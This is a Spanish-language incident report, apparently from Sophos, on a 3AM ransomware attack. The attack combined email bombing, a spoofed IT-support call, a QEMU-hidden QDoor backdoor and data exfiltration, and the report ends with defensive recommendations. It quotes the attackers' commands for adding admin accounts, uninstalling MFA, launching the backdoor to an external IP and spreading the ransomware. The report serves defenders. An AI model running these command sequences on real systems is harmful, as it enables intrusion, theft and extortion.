El ransomware suele ser un delito de oportunidad. Los atacantes suelen actuar a través de una vulnerabilidad o un punto débil de seguridad fácil de descubrir: el software conectado a Internet sin parches, los dispositivos periféricos de red vulnerables o los puertos de red privada virtual entrantes expuestos que carecen de autenticación multifactorial son algunos de los puntos más comunes de compromiso inicial. Sin embargo, algunos ataques parecen mucho más dirigidos e incluyen un importante reconocimiento previo al ataque y la identificación de empleados específicos de la organización como objetivos.
Sophos ha estado rastreando a varios actores de ransomware que aprovechan un patrón de ataque reportado por primera vez por Microsoft en mayo de 2024 en relación con el grupo de amenazas denominado Storm-1811: utilizan el «bombardeo de correos electrónicos» para sobrecargar a los empleados de la organización objetivo con correos electrónicos no deseados y, a continuación, realizan una llamada de voz o vídeo a través de Microsoft Teams haciéndose pasar por un miembro del equipo de soporte técnico para engañar a esos empleados y que permitan el acceso remoto a sus ordenadores. Entre noviembre de 2024 y mediados de enero de 2025, Sophos documentó dos grupos de amenazas distintos que utilizaban estas técnicas en más de 15 incidentes. Investigaciones posteriores han descubierto más de 55 intentos de ataque con esta técnica.
En el primer trimestre de 2025, Sophos Incident Response ayudó a una organización atacada por atacantes afiliados al grupo de ransomware 3AM. El patrón seguía en muchos aspectos el de otros ataques de bombardeo de correo electrónico. Sin embargo, había muchos aspectos del ataque que lo diferenciaban de los incidentes anteriores de «vishing» en Teams relacionados con los dos grupos de amenazas que Sophos había asociado anteriormente con estas tácticas.
En este caso, el atacante utilizó una llamada telefónica que suplantaba el número de teléfono del departamento de TI de la organización. El ataque incluía el despliegue de una máquina virtual en un ordenador comprometido, lo que proporcionaba a los atacantes un punto de apoyo inicial oculto a la vista del software de protección de endpoints. El ataque de ransomware en sí fue frustrado, pero los atacantes pudieron permanecer en la red durante 9 días antes de intentar lanzar el ransomware. Consiguieron robar datos de la red de la organización objetivo.
Antes del ataque, los actores de 3AM realizaron un reconocimiento de la organización, recopilando información sobre ella. Esto incluía direcciones de correo electrónico asociadas a empleados de la empresa y el número de teléfono del departamento de TI interno de la organización. Utilizaron esta información para adaptar su ataque.
Ransomware 3AM
Denunciado por primera vez por Symantec en septiembre de 2023, 3AM ha sido identificado por investigadores de Intrinsic y otras organizaciones como una nueva versión del ransomware BlackSuit / Royal, y relacionado con uno de los «equipos» principales del grupo Conti, ya disuelto. Mencionado en las filtraciones del registro de chat del ransomware BlackBasta, 3AM tiene vínculos con los actores afiliados a BlackBasta involucrados en el vishing basado en Microsoft Teams que Sophos MDR rastrea como STAC5777.
Las técnicas de phishing de voz utilizadas por los actores de 3AM en este caso y en los casos STAC5777 se discutieron en las filtraciones de BlackBasta. En mayo de 2024 se publicó en el chat un guion completo para operadores de vishing, y la investigación sobre el uso del vishing comenzó en otoño de 2023, cuando los actores empezaron a comprar cuentas de Microsoft Teams. Por esas fechas, los actores maliciosos de BlackBasta probaron una herramienta de código abierto llamada «TeamsPhisher.»
Día 1 y 2
Compromiso inicial y despliegue de la puerta trasera
El ataque comenzó con un bombardeo de correos electrónicos. Las direcciones de correo electrónico de los empleados obtenidas durante el reconocimiento se utilizaron para suscribirse a varias listas de correo electrónico. El primer día del ataque, el empleado principal al que se dirigía el ataque recibió 24 correos electrónicos no solicitados en un periodo de tres minutos.
Cuando empezaron a llegar los correos electrónicos, el actor malicioso llamó al teléfono del empleado a través de voz sobre IP, suplantando el número de teléfono del departamento de TI de la empresa. Utilizando los correos electrónicos como pretexto, el actor malicioso engañó al empleado para que le concediera acceso remoto a su ordenador mediante Microsoft Quick Assist.
Microsoft Quick Assist tiene la ventaja de estar instalado de forma predeterminada en los sistemas Windows 10 (versión 1607 y posteriores) y Windows 11, aunque en actualizaciones recientes Microsoft ha trasladado Quick Assist a Microsoft Store, por lo que es necesario actualizar o reinstalar desde la tienda para activarlo. Si está instalado, se puede iniciar desde un atajo de teclado (Ctrl+tecla Windows+Q).
El empleado se dejó convencer por la llamada falsa y proporcionó al atacante acceso a través de Quick Assist. El actor malintencionado utilizó la sesión ya abierta de Chrome para abrir una nueva pestaña y navegar a un dominio creado recientemente que suplantaba uno vinculado a Microsoft y Quick Assist (msquick[.]link). El sitio redirigió a un servicio de mensajes de texto de un solo uso (1ty[.]me), que se utilizó para pasar una URL a una carpeta de Google Drive que contenía un archivo llamado UpdatePackage_excic.zip. Este archivo se extrajo al directorio \ProgramData\UpdatePackage_exic\.
Evasión de la defensa y mando y control iniciales
En la carga útil había un script VBS (Update.vbs), un binario del emulador Qemu y un disco virtual.
El actor malicioso ejecutó el script VBS desde el símbolo del sistema, lo que inició una máquina virtual Windows 7 dentro del emulador Qemu y la conectó a la interfaz de red del sistema objetivo (método MITRE ATT&CK T1610-Deploy Container):
«C:\ProgramData\UpdatePackage_excic\wexe» -m 4096 – hda Update_excic.acow2 – netdev user,id=myneto -device e1000,netdev=mynetO – cpu max – display none
Se preinstaló un troyano QDoor en la máquina virtual Windows 7. QDoor, detectado por primera vez por ConnectWise en septiembre de 2024, es una puerta trasera de túnel de red que utiliza las bibliotecas de red Qt. Se conectaba a través del enlace del cliente Qemu al adaptador de red del dispositivo objetivo a una dirección IP codificada (88.118.167[.]239:443). Esta dirección se documentó tanto en el caso del ransomware Blacksuit notificado por ConnectWise como en un ataque de ransomware Lynx que aprovechaba QDoor observado por Sophos Managed Detection and Response. La dirección está asociada a un proveedor de servicios de Internet en Lituania.
Esta puerta trasera permitió al actor malicioso establecer un punto de apoyo en la red de la organización objetivo mientras evadía la detección del software para endpoints Sophos XDR. Qemu no requería instalación, por lo que no se necesitaban privilegios administrativos para su implementación. El control de aplicaciones snd para máquinas virtuales no estaba habilitado.
En este punto, se finalizó la sesión de Microsoft Quick Assist, ya que el actor malicioso había establecido comunicación y control directos.
Descubrimiento, movimiento lateral y persistencia
Utilizando herramientas de la máquina virtual QEMU, el atacante comprometió una cuenta de servicios de dominio. Cinco horas después del compromiso inicial, el autor de la amenaza utilizó esa cuenta y la utilidad de línea de comandos de Instrumentación de administración de Windows (WMIC) para ejecutar PowerShell en uno de los servidores de la organización.
Aprovechando PowerShell, el autor de la amenaza ejecutó los siguientes comandos para ver qué cuentas tenían sesiones de usuario activas en el servidor, crear una nueva cuenta en ese sistema y añadirla al grupo de administradores locales:
exe net1 localgroup administrators net1 localgoup Administrators [targeted organization name] SupportUser /add net1 user [targeted organization name] SupportUser Gr@@@ndbabis11 /add net1 localgroup Administrators [targeted organization name] SupportUser /add
A continuación, el autor de la amenaza pasó a utilizar la cuenta recién creada para establecer una sesión de Escritorio remoto en el servidor a través de la cuenta de administrador local creada. Para establecer un acceso externo adicional, el atacante instaló una herramienta comercial de gestión remota de máquinas (RMM), XEOXRemote, que aprovecha el portal en la nube de XEOX.
Tras esta actividad, también se comprometió una cuenta de administrador de dominio. Lamentablemente, no se encontraron artefactos forenses que explicaran cómo se produjo ese compromiso. Como administrador de dominio, el atacante ejecutó los siguientes comandos de descubrimiento en el servidor comprometido:
C: \Windows\system32\control.exe netconnections ipconfig /all C: \Windows \system32\netl sessions net group "domain Admins" /domain wmic product get name, version exe quser /server:[internal ip address] quser /server:[internal ip address] quser nitest / DOMAIN_TRUSTS nltest /dclist: whoami /all
El atacante también utilizó el comando «ping» para comprobar la conectividad con varios hosts de la red. Durante el resto del incidente, el atacante utilizó la cuenta de administrador del dominio comprometida para desplazarse lateralmente a otros nueve hosts de la red y ejecutó comandos de detección similares en esos sistemas. Los resultados de esos comandos se guardaron en varios archivos (pc.txt, dir.txt y a1.txt). Pc.txt contenía una lista de direcciones IP internas. Otros hosts tenían un archivo C[:]\ProgramData\d.bat que habilitaba el RDP en el registro y abría un firewall.
A primera hora del segundo día, el atacante abandonó su punto de apoyo inicial y apagó el emulador QEMU. Toda la actividad posterior se llevó a cabo a través de Escritorio remoto para sesiones interactivas y a través de XEOX y WMIC para la ejecución remota de comandos y binarios.
Día 3
Evasión de la defensa (fallida)
La organización objetivo había instalado previamente la protección para endpoints Sophos XDR en todos los dispositivos, excepto en un servidor. Se implementó la autenticación multifactor para el acceso RDP de todas las cuentas de usuario. Estas medidas frustraron los esfuerzos posteriores del actor malicioso por moverse lateralmente.
La MFA impidió que el actor malicioso estableciera sesiones interactivas a través de RDP. Sin embargo, no protegió contra el uso continuado de WMIC y la actividad remota de PowerShell.
El atacante intentó desinstalar la MFA de tres maneras diferentes, todas ellas sin éxito:
A través de un comando WMIC
wmic product where "name=Duo Authentication for Windows Logon x64" call uninstall /nointeractive
A través de un comando WMIC anidado dentro de una tarea programada diseñada para ejecutarse en el contexto del sistema:
SCHTASKS /s [internal IP address]/RU "SYSTEM" /create /tn "WindowsSensor15" /tr "cmd.exe /c wmic product where name="Duo Authentication for Windows Logon x64" call uninstall /nointeractive" /sc ONCE /sd 01/01/2025 /st 00:00
Este nombre de tarea es uno de los utilizados en un manual de Conti filtrado por un afiliado descontento de Conti en 2021. Los autores de la amenaza podrían cambiarlo fácilmente sin ningún coste, pero cuatro años después sigue siendo utilizado por antiguos afiliados de Conti.
A través de un comando MsiExec para desinstalar MFA basándose en el ID del producto:
- msiexec /X [Duo Product ID] /gn /norestart
El atacante también intentó desactivar la protección de endpoints de Sophos en dos servidores mediante el despliegue de EDR Sandblaster (un «asesino de EDR»). Esto tampoco tuvo éxito.
Exfiltración
En dos hosts, el autor de la amenaza instaló una herramienta legítima de sincronización en la nube llamada GoodSync, que es compatible con Microsoft, Google, Amazon, Dropbox y otros servicios. A continuación, utilizó GoodSync para cargar aproximadamente 868 GB de datos desde esos servidores al proveedor de almacenamiento en la nube Backblaze.
Día 5
Bloqueo de la implementación de la puerta trasera
El atacante accedió a otro servidor e instaló de forma remota una herramienta de acceso remoto llamada Syncro Live Agent (ahora conocida como Synchro XMM), que, según las pruebas, nunca fue utilizada por el autor de la amenaza. También implementó dos copias del troyano de acceso remoto QDoor en el disco, con los nombres vol.exe y svchost.exe para camuflarlas, mediante comandos WMIC:
- wmic / node:"[hostname]" process call create "cmd /c C:\ProgramData\vol.exe 172.86.121[.]134 - wmic /node:[local IP address]process call create "cmd /c C:\ProgramData\svchost.exe "172.86.121[.]134"
Tanto vol.exe como svchost.exe eran copias del mismo binario malicioso ya identificado, detectado e impedido de ejecutarse por Sophos como malware QDoor.
Día 9
Movimiento lateral fallido
Los atacantes continuaron intentando obtener acceso a sistemas adicionales a través de RDP, pero fueron bloqueados repetidamente por los controles MFA. Finalmente, encontraron un dispositivo no gestionado, el único servidor sin protección de endpoints, y lo aprovecharon para lanzar un ataque de ransomware remoto a las 3 de la madrugada contra la red.
Impacto (limitado)
El autor de la amenaza desplegó el binario del ransomware como C:\L.exe en el dispositivo no gestionado, así como un archivo por lotes (1.bat) que contenía comandos para atacar 88 equipos de la red. El archivo por lotes intentó asignarse a la unidad C de cada uno de los hosts identificados. Ejemplo de comando tomado de 1.bat:
- start 1l L.exe -k [ransomware portal access key] -s 10 -m net -p \ \[host IP address]\c$
La función CryptoGuard de Sophos Endpoint impidió el cifrado remoto en los sistemas que tenían instalada la protección de Sophos, identificando la actividad remota como ransomware. El impacto del ransomware se limitó principalmente al host no gestionado desde el que se ejecutó.
Conclusiones
Los defensores deben tomar las siguientes medidas para prevenir o mitigar los resultados de estas técnicas, herramientas y procedimientos de los actores maliciosos:
Concienciar a los empleados
Los ataques de vishing, como este incidente de las 3 de la madrugada y otros ataques recientes de actores de ransomware, dependen del engaño y del aprovechamiento de la confusión y la sensación de urgencia de la persona objetivo, provocadas por acontecimientos inesperados, como una avalancha de correos electrónicos no deseados que interrumpen repentinamente su jornada laboral. Educad al personal sobre las formas exactas en que el soporte de TI se pondrá en contacto con vosotros, en qué circunstancias y qué herramientas utilizará para proporcionar soporte técnico remoto, de modo que podáis reconocer más fácilmente los intentos de ingeniería social.
Audita las cuentas administrativas y de servicio
Aplica contraseñas complejas, limita el acceso mediante políticas para evitar el uso indebido en caso de que se vean comprometidas y asegúrate de que no se reutilicen contraseñas en las cuentas administrativas. Audita periódicamente las cuentas administrativas y desactiva las cuentas de administrador local. Sigue las directrices de Microsoft para modelos administrativos con privilegios mínimos. Además, si las cuentas de servicio no pueden tener habilitada la autenticación multifactor por motivos técnicos específicos, deben restringirse a horas de inicio de sesión específicas y sus privilegios deben limitarse solo a los necesarios para sus tareas.
Implementa un control de aplicaciones basado en políticas para el software y los scripts
Las herramientas de protección de detección y respuesta ampliadas (XDR), como las que ofrece Sophos, permiten bloquear mediante políticas los ejecutables legítimos que no son deseados en el entorno informático de una organización. Identifica qué herramientas de software se utilizan de forma legítima en tu organización y bloquea las que no son esperadas. La ejecución de productos (incluidos QEMU y otras máquinas virtuales, software de gestión de máquinas remotas y software de control remoto) puede restringirse a usuarios o dispositivos específicos. Restringe también el uso de PowerShell mediante políticas de ejecución para cuentas administrativas específicas. Evita que se ejecute código no fiable mediante la verificación de firmas digitales y configura la política de ejecución de PowerShell para que solo se ejecuten scripts firmados.
Implementa la autenticación multifactorial (MFA) y establece controles estrictos para el acceso remoto
El uso de un producto MFA ayudó a restringir el movimiento lateral y el acceso remoto en este caso; las organizaciones deben hacer todo lo posible para reforzar la autenticación para el acceso remoto y limitar los sistemas a los que se puede acceder desde fuera de la red mediante políticas y segmentación de la red.
Utiliza filtros de red y prevención de intrusiones en la red para bloquear el acceso remoto no deseado
Bloquea el acceso a los puertos asociados con el acceso remoto a segmentos críticos de la red, restringiendo el acceso al escritorio remoto a los servidores específicamente designados para esa tarea. Utiliza filtros IPS para bloquear el tráfico de red entrante y saliente que pueda estar relacionado con el control remoto, las puertas traseras y la exfiltración de datos. Crea detecciones y alertas que se activen ante este tipo de actividad.
Bloquea la edición del Registro de Windows
Restringe quién puede modificar los subárboles o las claves del Registro de Windows relacionadas con configuraciones que pueden afectar o utilizarse para eludir el software y las políticas de seguridad.
Los indicadores de compromiso de este ataque se publicarán en Sophos GitHub.
Agradecimientos
Sophos X-Ops agradece a Nathan Mante, Harinder Bhathal y Michael Warner, de Sophos Incident Response, por sus contribuciones a este informe.
Dejar un comentario